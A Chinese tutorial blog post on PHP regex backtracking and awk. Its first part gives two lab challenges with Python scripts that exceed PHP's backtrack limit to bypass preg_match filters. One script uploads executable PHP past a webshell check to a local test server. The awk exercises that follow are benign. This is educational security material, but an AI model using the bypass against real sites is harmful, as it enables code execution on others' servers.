正则回溯与awk练习

目录

一、正则回溯

1.什么是正则回溯

2.例题

2.1例题1

 2.2例题2

 二、awk经典案例练习

1.筛选ipv4地址

2.根据某字段去重

3.次数统计

4.统计TCP连接状态数量

扫描二维码关注公众号,回复: 16370410 查看本文章

5.统计日志中前10个IP访问的次数

6.处理字段缺失的数据

7.筛选给定时间范围内的日志


一、正则回溯

1.什么是正则回溯

常见的正则引擎,被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

正则回溯是一种正则表达式NFA引擎使用的技术,用于尝试所有可能的匹配方式,直到找到匹配为止。在正则表达式的匹配过程中,如果当前部分无法匹配,引擎会回溯到前面的部分,尝试其他可能的匹配路径。这可能会导致性能下降,特别是在复杂的正则表达式和长字符串的情况下,所以PHP限制正则回溯次数为100w次,如果超过,正则将会失效。

如上图,正则/Love.*you/匹配"Love youaaa"当匹配到".*"时由于是贪婪匹配,会把Love后面的内容全部匹配上,而正则还有内容没有匹配,所以就会回溯,往后吐一个字符a,直到正则you匹配上

2.例题

既然正则回溯限制为100w次,那我们不妨传入超过100w个字符的数据,让正则失效,这样我们就能成功绕过正则

2.1例题1

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}

首先分析这道题,函数areyouok过滤了/Merry.*Christmas/,而要想拿到flag,就必须使内部的if条件成立,即greeting参数中必须含有Merry Christmas字符串(strpos函数查找字符串在目标中首次出现的位置),这就矛盾了,因为正则会过滤我们的Merry Christmas字符串。

那么这时候我们就可以使用正则回溯来绕过过滤,用Python构造post请求

from requests import post

data={"greeting" : "Merry Christmas" + "a" * 1000001}

url = 'http://192.168.1.3/test/regex2.php'

res = post(url=url,data=data)

print(res.text)

成功拿到flag

 2.2例题2

<?php
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

 if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { 
    exit("bad request");
} else {
    @mkdir($user_dir, 0755); 
    $path = $user_dir . '/' . 'oupeng.php'; 
    //利用move_uploaded_file将临时文件,复制到$path
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303); 
}

分析代码,很明显是一个文件上传代码,is_php函数正则过滤了/<\?.*[(`;?>].*/,所以我们不能直接上传一句话木马,需要绕过正则才行。

同样,正则回溯,构造post请求

from requests import post

file={
    "file":"<?php phpinfo();?>" + "a" * 1000001
}

url = 'http://192.168.1.3/test/regex3.php'

res = post(url=url,files=file,allow_redirects=False)

print(res.headers)

成功绕过,文件保存在cc9d4028d80b7d9c2242cf5fc8cb25f2/oupeng.php目录下 

 访问文件,成功执行

 二、awk经典案例练习

1.筛选ipv4地址

ifconfig命令筛选

RS指定输入记录换行符,当RS=""时,即输入换行符为\n,它指示AWK将连续的非空行组合成一个记录,这时就分为了三行,每一段一行,NR==2,代表第二行也就是第二段,$6代表第二行的以空格为间隔的第6个字段,也就是ip地址

2.根据某字段去重

练习文本

2019-01-13_12:00_index?uid=123
2019-01-13_13:00_index?uid=123
2019-01-13_14:00_index?uid=333
2019-01-13_15:00_index?uid=9710
2019-01-14_12:00_index?uid=123
2019-01-14_13:00_index?uid=123
2019-01-15_14:00_index?uid=333
2019-01-16_15:00_index?uid=9710

-F"?"代表以?为输入字段分隔符,arr[$2]即arr[uid=xxx],

当字段第一次出现时,arr[$2]为0,++后为1,触发if条件,输出$0;

当字段第二次及n次出现时,arr[$2]已经等于1了,++后为2,无法触发if条件,无法输出

这样就达到了去重的效果

3.次数统计

练习文本

portmapper
portmapper
portmapper
portmapper
portmapper
portmapper
status
status
mountd
mountd
mountd
mountd
mountd
mountd
nfs
nfs
nfs_acl
nfs
nfs
nfs_acl
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr

当字段第一次出现时,arr[$0]=0,++后为1,当出现第二次时,arr[$0]=1,++后为2,所以当第n次出现时,arr[$0]=n

END表示最后的操作,for(i in arr){print arr[i], i}表示打印键值和键名,即第一行的4 nfs

4.统计TCP连接状态数量

 NR>2代表处理大于第二行的记录,arr[$6]++代表统计tcp连接状态的次数,最后打印出来

5.统计日志中前10个IP访问的次数

练习文本

192.168.1.5 - - [18/Jul/2023:12:06:52 +0800] "GET /sqli-labs-master/index.html_files/freemind2html.js HTTP/1.1" 404 2659
192.168.1.5 - - [18/Jul/2023:12:06:53 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:07:09 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:08:09 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:12:09:58 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:09:58 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:09:59 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:09:59 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:10:58 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:12:12:26 +0800] "GET /sqli-labs-master/index.html_files/freemind2html.js HTTP/1.1" 404 2659
192.168.1.5 - - [18/Jul/2023:12:12:27 +0800] "GET /sqli-labs-master/Less-1 HTTP/1.1" 301 251
192.168.1.5 - - [18/Jul/2023:12:12:27 +0800] "GET /sqli-labs-master/Less-1/ HTTP/1.1" 200 908
192.168.1.5 - - [18/Jul/2023:12:13:26 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:12:14:10 +0800] "GET /sqli-labs-master/Less-1/ HTTP/1.1" 200 908
192.168.1.5 - - [18/Jul/2023:12:14:23 +0800] "GET /sqli-labs-master/index.html_files/freemind2html.js HTTP/1.1" 404 2659
192.168.1.5 - - [18/Jul/2023:12:14:24 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:14:27 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:12:15:23 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:12:16:46 +0800] "GET /sqli-labs-master/index-1.html HTTP/1.1" 200 7770
192.168.1.5 - - [18/Jul/2023:12:16:46 +0800] "GET /sqli-labs-master/index-1.html_files/freemind2html.css HTTP/1.1" 200 1335
192.168.1.5 - - [18/Jul/2023:12:16:46 +0800] "GET /sqli-labs-master/index-1.html_files/freemind2html.js HTTP/1.1" 404 2659
192.168.1.5 - - [18/Jul/2023:12:16:46 +0800] "GET /sqli-labs-master/index-1.html_files/image.png HTTP/1.1" 200 113253
192.168.1.5 - - [18/Jul/2023:12:16:48 +0800] "GET /sqli-labs-master/Less-27 HTTP/1.1" 301 252
192.168.1.5 - - [18/Jul/2023:12:16:48 +0800] "GET /sqli-labs-master/Less-27/ HTTP/1.1" 200 912
192.168.1.5 - - [18/Jul/2023:12:16:52 +0800] "GET /sqli-labs-master/sql-connections/setup-db.php HTTP/1.1" 200 970
192.168.1.5 - - [18/Jul/2023:13:16:48 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
127.0.0.1 - - [18/Jul/2023:13:16:50 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
192.168.1.5 - - [18/Jul/2023:13:17:19 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
127.0.0.1 - - [18/Jul/2023:13:17:20 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
127.0.0.1 - - [18/Jul/2023:13:17:21 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
192.168.1.5 - - [18/Jul/2023:13:18:19 +0800] "-" 408 -
127.0.0.1 - - [18/Jul/2023:13:18:21 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:13:24:35 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:24:36 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:24:36 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
127.0.0.1 - - [18/Jul/2023:13:24:37 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
127.0.0.1 - - [18/Jul/2023:13:24:40 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87541
192.168.1.5 - - [18/Jul/2023:13:25:35 +0800] "-" 408 -
127.0.0.1 - - [18/Jul/2023:13:25:37 +0800] "-" 408 -
127.0.0.1 - - [18/Jul/2023:13:36:00 +0800] "GET / HTTP/1.1" 200 7933
127.0.0.1 - - [18/Jul/2023:13:36:00 +0800] "GET /index.html_files/freemind2html.css HTTP/1.1" 200 1335
127.0.0.1 - - [18/Jul/2023:13:36:00 +0800] "GET /index.html_files/freemind2html.js HTTP/1.1" 404 -
127.0.0.1 - - [18/Jul/2023:13:36:00 +0800] "GET /index.html_files/image.png HTTP/1.1" 200 81003
127.0.0.1 - - [18/Jul/2023:13:36:01 +0800] "GET /sql-connections/setup-db.php HTTP/1.1" 200 970
127.0.0.1 - - [18/Jul/2023:13:36:11 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
127.0.0.1 - - [18/Jul/2023:13:36:16 +0800] "GET /index.html_files/freemind2html.js HTTP/1.1" 404 -
127.0.0.1 - - [18/Jul/2023:13:36:17 +0800] "GET /sql-connections/setup-db.php HTTP/1.1" 200 1961
192.168.1.5 - - [18/Jul/2023:13:36:20 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:21 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:22 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:22 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:22 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:22 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:23 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:23 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:23 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:23 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:23 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:13:36:23 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86649
127.0.0.1 - - [18/Jul/2023:13:37:16 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:13:37:20 +0800] "-" 408 -
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET / HTTP/1.1" 200 4164
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /css/prism.css HTTP/1.1" 200 5024
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /css/index.css HTTP/1.1" 200 3796
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /img/logo.png HTTP/1.1" 200 25550
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /js/prism-php.min.js HTTP/1.1" 200 2352
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /js/prism-line-numbers.min.js HTTP/1.1" 200 1921
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /js/prism.js HTTP/1.1" 200 13695
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /js/index.js HTTP/1.1" 200 2589
127.0.0.1 - - [18/Jul/2023:13:45:09 +0800] "GET /js/jquery.min.js HTTP/1.1" 200 93100
127.0.0.1 - - [18/Jul/2023:13:45:10 +0800] "GET /img/favicon.png HTTP/1.1" 200 4296
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/Pass-01/index.php?action=show_code HTTP/1.1" 200 5504
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/css/prism.css HTTP/1.1" 200 5024
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/css/index.css HTTP/1.1" 200 3796
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/js/jquery.min.js HTTP/1.1" 200 93100
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/js/prism.js HTTP/1.1" 200 13695
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/js/prism-line-numbers.min.js HTTP/1.1" 200 1921
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/img/logo.png HTTP/1.1" 200 25550
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/js/index.js HTTP/1.1" 200 2589
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/js/prism-php.min.js HTTP/1.1" 200 2352
127.0.0.1 - - [18/Jul/2023:13:45:51 +0800] "GET /upload-labs/img/favicon.png HTTP/1.1" 200 4296
127.0.0.1 - - [18/Jul/2023:13:46:04 +0800] "GET /upload-labs/phpinfo.php HTTP/1.1" 200 87197
127.0.0.1 - - [18/Jul/2023:13:46:13 +0800] "GET / HTTP/1.1" 200 4164
127.0.0.1 - - [18/Jul/2023:13:46:25 +0800] "GET /phpinfo.php HTTP/1.1" 200 86471
127.0.0.1 - - [18/Jul/2023:13:46:25 +0800] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [18/Jul/2023:13:47:04 +0800] "-" 408 -
127.0.0.1 - - [18/Jul/2023:13:47:25 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:14:22:58 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:14:22:58 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:14:22:58 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
192.168.1.5 - - [18/Jul/2023:14:22:59 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86651
127.0.0.1 - - [18/Jul/2023:14:23:13 +0800] "GET /index.html_files/freemind2html.js HTTP/1.1" 404 -
127.0.0.1 - - [18/Jul/2023:14:23:15 +0800] "GET /sql-connections/setup-db.php HTTP/1.1" 200 1961
127.0.0.1 - - [18/Jul/2023:14:23:25 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87502
192.168.1.5 - - [18/Jul/2023:14:23:58 +0800] "-" 408 -
127.0.0.1 - - [18/Jul/2023:14:24:25 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:14:25:47 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 86564
192.168.1.5 - - [18/Jul/2023:14:26:47 +0800] "-" 408 -
192.168.1.5 - - [18/Jul/2023:14:28:10 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83517
192.168.1.5 - - [18/Jul/2023:14:28:11 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83517
192.168.1.5 - - [18/Jul/2023:14:28:12 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:12 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:12 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:12 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:12 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:13 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:13 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:13 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83518
192.168.1.5 - - [18/Jul/2023:14:28:13 +0800] "GET /sqli-labs-master/sql-connections/phpinfo.php HTTP/1.1" 200 83517
127.0.0.1 - - [18/Jul/2023:14:28:15 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87541
127.0.0.1 - - [18/Jul/2023:14:28:15 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
127.0.0.1 - - [18/Jul/2023:14:28:16 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
127.0.0.1 - - [18/Jul/2023:14:28:16 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
127.0.0.1 - - [18/Jul/2023:14:28:16 +0800] "GET /sql-connections/phpinfo.php HTTP/1.1" 200 87542
192.168.1.5 - - [18/Jul/2023:14:29:10 +0800] "-" 408 -
127.0.0.1 - - [18/Jul/2023:14:29:15 +0800] "-" 408 -

 arr[$1]++统计次数和for循环打印很熟悉就不说了, 之后的sort -nr命令表示reverse翻转排序,head命令打印前10行(这里有个1,不知道为啥,可能是日志里面多的,但是不影响)

也可以在前面添加状态码非200的条件,$9!=200

6.处理字段缺失的数据

练习文本

ID  name    gender  age  email          phone
1   Bob     male    28   [email protected]     18023394012
2   Alice   female  24   [email protected]  18084925203
3   Tony    male    21                  17048792503
4   Kevin   male    21   [email protected]    17023929033
5   Alex    male    18   [email protected]    18185904230
6   Andy    female       [email protected]    18923902352
7   Jerry   female  25   [email protected]  18785234906
8   Peter   male    20   [email protected]     17729348758
9   Steven          23   [email protected]    15947893212
10  Bruce   female  27   [email protected]   13942943905

这里如果想打印电话,直接打印$6是不行的,因为有些记录是没有$6的,所以可以通过if条件,判断如果$5是以0-9开头的,那就打印$5,否则就打印$6

也可以通过FIELDWIDTHS这个参数来规定每个字段占用的空格大小,比如这里

开始第一列为2,是以ID为参照,占用2格

第二列是以最长的字符Steven为参照,然后第二列与第一列之间的参照空隙为2格,所以就是2:6

第三列也是以最长的字符female为参照,然后第三列与第二列之间的参照空隙为2个,所以也是2:6

然后依次往后推,就把每个字段占用的大小规定下来了

这时再打印就不会出现之前的状况了

7.筛选给定时间范围内的日志

以前面的日志文件为文本材料

打印出7月18日13:30之前的日志

我的方法是"-F:"以冒号为字段分隔符,使用if判断来输出13:30之前的日志

下面这种方法虽然麻烦,但是更为通用

BEGIN{
  # 要筛选什么时间的日志,将其时间构建成epoch值
  which_time = mktime("2023 07 18 13 30 01")
}

{
  # 取出日志中的日期时间字符串部分
  match($0,"^.*\\[(.*)\\].*",arr)

  # 将日期时间字符串转换为epoch值
  tmp_time = strptime2(arr[1])

  # 通过比较epoch值来比较时间大小
  if(tmp_time > which_time){
    print
  }
}

# 构建的时间字符串格式为:"18/Jul/2023:13:30:00 +0800"
function strptime2(str,dt_str,arr,Y,M,D,H,m,S) {
  dt_str = gensub("[/:+]"," ","g",str)
  # dt_sr = "18 Jul 2023 13 30 00 08 00"
  split(dt_str,arr," ")
  Y=arr[3]
  M=mon_map(arr[2])
  D=arr[1]
  H=arr[4]
  m=arr[5]
  S=arr[6]
  return mktime(sprintf("%s %s %s %s %s %s",Y,M,D,H,m,S))
}

function mon_map(str,mons){
  mons["Jan"]=01
  mons["Feb"]=02
  mons["Mar"]=03
  mons["Apr"]=04
  mons["May"]=05
  mons["Jun"]=06
  mons["Jul"]=07
  mons["Aug"]=08
  mons["Sep"]=09
  mons["Oct"]=10
  mons["Nov"]=11
  mons["Dec"]=12
  return mons[str]
}

首先通过mktime函数将日期时间信息转换为 epoch 值(可以理解为UNIX时间戳),这样我们就可以直接比较时间

其次使用match函数匹配正则,取出日志中的日期时间字符串部分

然后通过strptime2函数转为epoch 值,函数内部通过gensub函数匹配正则,将"/:+"替换为空格,这样就可以使用mktime函数转换了,也可以用split函数,它也是将字符串按照空格分隔,然后保存到arr数组,然后给YMDHmS赋值,还有个mon_map函数,将月份的英文转换为数字,最后返回mktime函数处理后的epoch值

最后if条件比较时间,如果获取的时间大于规定的时间就打印

猜你喜欢

转载自blog.csdn.net/CQ17743254852/article/details/132111174
今日推荐